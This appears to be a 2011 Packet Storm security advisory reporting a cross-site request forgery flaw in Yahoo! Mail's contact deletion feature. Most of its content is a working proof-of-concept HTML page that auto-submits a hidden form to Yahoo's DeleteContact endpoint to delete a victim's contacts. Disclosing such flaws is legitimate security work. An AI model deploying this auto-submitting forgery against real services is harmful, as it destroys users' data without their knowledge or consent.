Yahoo! Mail Cross Site Request Forgery

🗓️ 04 Dec 2011 00:00:00Reported by Pratul AgrawalType

packetstorm🔗 packetstormsecurity.com👁 26 Views

Yahoo! Mail CSRF Vulnerability in Delete Contact Modul

` =======================================================================  
  
YAHOOMAIL CSRF Vulnerability  
  
=======================================================================  
  
  
  
# Vulnerability found in- Yahoomail Delete Contact module  
  
# email [email protected]  
  
# company AKS IT Services Pvt. Ltd  
  
# Credit by Prakar Agrawal  
  
# Email Service Yahoomail   
  
# Category Mail service  
  
# Site p4ge http://www.yahoomail.com  
  
# Plateform java  
  
  
# Proof of concept #  
  
Targeted URL: http://address.mail.yahoo.com/  
  
  
Script to Delete the contacts from contact list through Cross Site request forgery  
  
. ................................................................................................................  
  
<html>  
<body>  
<form name="csrf" action="http://us.mg5.mail.yahoo.com/yab-fe/mu/DeleteContact.json?" method="POST">  
<input type=hidden name="action" value="delete_contacts">  
<input type=hidden name="id" value="$Numeric No.$">  
</form>  
<script>document.csrf.submit();</script>  
</body>  
</html>  
  
  
. ..................................................................................................................  
  
Put any Numeric No. (i.e 1,2,3,4 etc) in id field parameter and try to forge the functionality. its working.....  
  
# If you have any questions, comments, or concerns, feel free to contact me.  
  
`

04 Dec 2011 00:00Current

0.7Low risk

Vulners AI Score0.7